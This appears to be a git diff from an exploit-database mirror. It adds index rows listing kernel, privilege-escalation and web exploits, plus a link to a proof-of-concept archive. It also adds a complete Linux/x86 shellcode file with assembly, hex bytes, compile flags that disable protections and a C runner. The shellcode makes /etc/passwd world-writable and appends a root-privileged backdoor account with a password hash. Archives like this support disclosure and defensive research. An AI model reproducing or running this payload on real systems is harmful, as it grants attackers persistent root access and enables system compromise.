Attached is an archive with two proof-of-concept PE images and the corresponding original files used to generate them. Please be careful when unpacking the ZIP as Windows may crash immediately once it sees the corrupted files on disk.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47489.zip
|
||||
|
|
@ -6571,6 +6571,12 @@ id,file,description,date,author,type,platform,port
|
|||
47453,exploits/multiple/dos/47453.txt,"WebKit - Universal XSS Using Cached Pages",2019-10-01,"Google Security Research",dos,multiple,
|
||||
47478,exploits/windows/dos/47478.py,"Foscam Video Management System 1.1.6.6 - 'UID' Denial of Service (PoC)",2019-10-09,"Alessandro Magnosi",dos,windows,
|
||||
47479,exploits/macos/dos/47479.txt,"XNU - Remote Double-Free via Data Race in IPComp Input Path",2019-10-09,"Google Security Research",dos,macos,
|
||||
47484,exploits/windows/dos/47484.txt,"Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter",2019-10-10,"Google Security Research",dos,windows,
|
||||
47485,exploits/windows/dos/47485.txt,"Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File",2019-10-10,"Google Security Research",dos,windows,
|
||||
47486,exploits/windows/dos/47486.txt,"Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File",2019-10-10,"Google Security Research",dos,windows,
|
||||
47487,exploits/windows/dos/47487.txt,"Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File",2019-10-10,"Google Security Research",dos,windows,
|
||||
47488,exploits/windows/dos/47488.txt,"Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File",2019-10-10,"Google Security Research",dos,windows,
|
||||
47489,exploits/windows/dos/47489.txt,"Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File",2019-10-10,"Google Security Research",dos,windows,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -10705,6 +10711,7 @@ id,file,description,date,author,type,platform,port
|
|||
47468,exploits/windows_x86-64/local/47468.py,"ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)",2019-10-07,max7253,local,windows_x86-64,
|
||||
47471,exploits/windows/local/47471.txt,"CheckPoint Endpoint Security Client/ZoneAlarm 15.4.062.17802 - Privilege Escalation",2019-10-07,"Jakub Palaczynski",local,windows,
|
||||
47477,exploits/windows/local/47477.py,"DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass)",2019-10-09,"Alessandro Magnosi",local,windows,
|
||||
47482,exploits/linux/local/47482.rb,"ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (Metasploit_ DEP Bypass)",2019-10-10,max7253,local,linux,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -17701,7 +17708,7 @@ id,file,description,date,author,type,platform,port
|
|||
47439,exploits/multiple/remote/47439.txt,"GoAhead 2.5.0 - Host Header Injection",2019-09-30,Ramikan,remote,multiple,
|
||||
47442,exploits/hardware/remote/47442.py,"Cisco Small Business 220 Series - Multiple Vulnerabilities",2019-09-30,bashis,remote,hardware,
|
||||
47456,exploits/windows/remote/47456.rb,"DOUBLEPULSAR - Payload Execution and Neutralization (Metasploit)",2019-10-02,Metasploit,remote,windows,
|
||||
47472,exploits/windows/remote/47472.py,"freeFTP 1.0.8 - Remote Buffer Overflow",2019-10-07,"Chet Manly",remote,windows,
|
||||
47472,exploits/windows/remote/47472.py,"freeFTP 1.0.8 - 'PASS' Remote Buffer Overflow",2019-10-07,"Chet Manly",remote,windows,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
@ -41810,3 +41817,5 @@ id,file,description,date,author,type,platform,port
|
|||
47470,exploits/java/webapps/47470.txt,"IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload",2019-10-07,"Jakub Palaczynski",webapps,java,
|
||||
47474,exploits/php/webapps/47474.pl,"Zabbix 4.4 - Authentication Bypass",2019-10-08,"Todor Donev",webapps,php,
|
||||
47475,exploits/php/webapps/47475.php,"vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution",2019-10-07,EgiX,webapps,php,
|
||||
47480,exploits/hardware/webapps/47480.txt,"SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery",2019-10-10,"Borja Merino",webapps,hardware,80
|
||||
47483,exploits/hardware/webapps/47483.py,"TP-Link TL-WR1043ND 2 - Authentication Bypass",2019-10-10,"Uriel Kosayev",webapps,hardware,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -1004,3 +1004,4 @@ id,file,description,date,author,type,platform
|
|||
47396,shellcodes/linux_x86/47396.c,"Linux/x86 - Bind TCP (port 43690) Null-Free Shellcode (53 Bytes)",2019-09-17,"Daniel Ortiz",shellcode,linux_x86
|
||||
47461,shellcodes/linux_x86/47461.c,"Linux/x86 - NOT + XOR-N + Random Encoded /bin/sh Shellcode (132 bytes)",2019-10-04,bolonobolo,shellcode,linux_x86
|
||||
47473,shellcodes/arm/47473.c,"Linux/ARM - Fork Bomb Shellcode (20 bytes)",2019-10-08,CJHackerz,shellcode,arm
|
||||
47481,shellcodes/linux/47481.c,"Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes)",2019-10-10,VL43CK,shellcode,linux
|
||||
|
|
|
|||
|
105
shellcodes/linux/47481.c
Normal file
105
shellcodes/linux/47481.c
Normal file
|
|
@ -0,0 +1,105 @@
|
|||
# Exploit Title: Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes)
|
||||
# Date: 2019-10-05
|
||||
# Exploit Author: sagar.offsec (VL43CK)
|
||||
# Guided by: Touhid M.Shaikh
|
||||
# Designation: Security Consultant at SecureLayer7
|
||||
# Website: https://www.sagaroffsec.com
|
||||
# Tested on: Ubuntu i386 GNU/LINUX
|
||||
# Shellcode Length: 59
|
||||
|
||||
----------------------(DESCRIPTION)----------------------------
|
||||
|
||||
This shellcode will first change /etc/passwd permission to 777 and then
|
||||
add a user "vl43ck" in it with password "test" with root permissions.
|
||||
|
||||
----------------------(SHELLCODE DUMP)-------------------------
|
||||
global _start
|
||||
|
||||
section .text
|
||||
_start:
|
||||
|
||||
;chmod 777 /etc/passwd
|
||||
|
||||
xor eax, eax
|
||||
push eax
|
||||
|
||||
push 0x64777373
|
||||
push 0x61702f63
|
||||
push 0x74652f2f
|
||||
xor ebx, ebp
|
||||
lea ebx, [esp]
|
||||
|
||||
xor ecx, ecx
|
||||
mov cx, 0x1ff
|
||||
|
||||
mov al, 0xf
|
||||
int 0x80
|
||||
|
||||
;add user in /etc/passwd
|
||||
|
||||
;open /etc/passwd
|
||||
|
||||
xor eax, eax
|
||||
mov al, 5
|
||||
xor ecx, ecx
|
||||
mov cx, 2001Q
|
||||
int 0x80
|
||||
|
||||
;write into /etc/passwd
|
||||
|
||||
xor ebx, ebx
|
||||
mov ebx, eax
|
||||
|
||||
jmp short call_write
|
||||
write:
|
||||
pop ecx
|
||||
|
||||
xor eax, eax
|
||||
xor edx, edx
|
||||
mov dx, 132
|
||||
mov al, 4
|
||||
int 0x80
|
||||
|
||||
; close /etc/passwd
|
||||
|
||||
xor eax, eax
|
||||
mov al, 6
|
||||
int 0x80
|
||||
|
||||
;exit gracefully
|
||||
|
||||
push eax
|
||||
xor eax, eax
|
||||
mov al, 1
|
||||
xor ebx, ebx
|
||||
pop ebx
|
||||
int 0x80
|
||||
|
||||
call_write:
|
||||
|
||||
call write
|
||||
shellcode: db "vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash"
|
||||
|
||||
|
||||
----------------------(COMPILE)-------------------------
|
||||
|
||||
gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c
|
||||
|
||||
----------------------(C-Code)--------------------------
|
||||
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
unsigned char code[] = \
|
||||
"\x31\xc0\x50\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x31\xeb\x8d\x1c\x24\x31\xc9\x66\xb9\xff\x01\xb0\x0f\xcd\x80\x31\xc0\xb0\x05\x31\xc9\x66\xb9\x01\x04\xcd\x80\x31\xdb\x89\xc3\xeb\x1d\x59\x31\xc0\x31\xd2\x66\xba\x84\x00\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x50\x31\xc0\xb0\x01\x31\xdb\x5b\xcd\x80\xe8\xde\xff\xff\xff\x76\x6c\x34\x33\x63\x6b\x3a\x24\x36\x24\x62\x78\x77\x4a\x66\x7a\x6f\x72\x24\x4d\x55\x68\x55\x57\x4f\x30\x4d\x55\x67\x64\x6b\x57\x66\x50\x50\x45\x79\x64\x71\x67\x5a\x70\x6d\x2e\x59\x74\x50\x4d\x49\x2f\x67\x61\x4d\x34\x6c\x56\x71\x68\x50\x32\x31\x4c\x46\x4e\x57\x6d\x53\x4a\x38\x32\x31\x6b\x76\x4a\x6e\x49\x79\x6f\x4f\x44\x59\x74\x42\x68\x2e\x53\x46\x39\x61\x52\x37\x63\x69\x51\x42\x52\x43\x63\x77\x35\x62\x67\x6a\x58\x30\x3a\x30\x3a\x30\x3a\x76\x6c\x34\x33\x63\x6b\x3a\x2f\x74\x6d\x70\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
|
||||
|
||||
main()
|
||||
{
|
||||
|
||||
printf("Shellcode Length: %d\n", strlen(code));
|
||||
|
||||
int (*ret)() = (int(*)())code;
|
||||
|
||||
ret();
|
||||
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue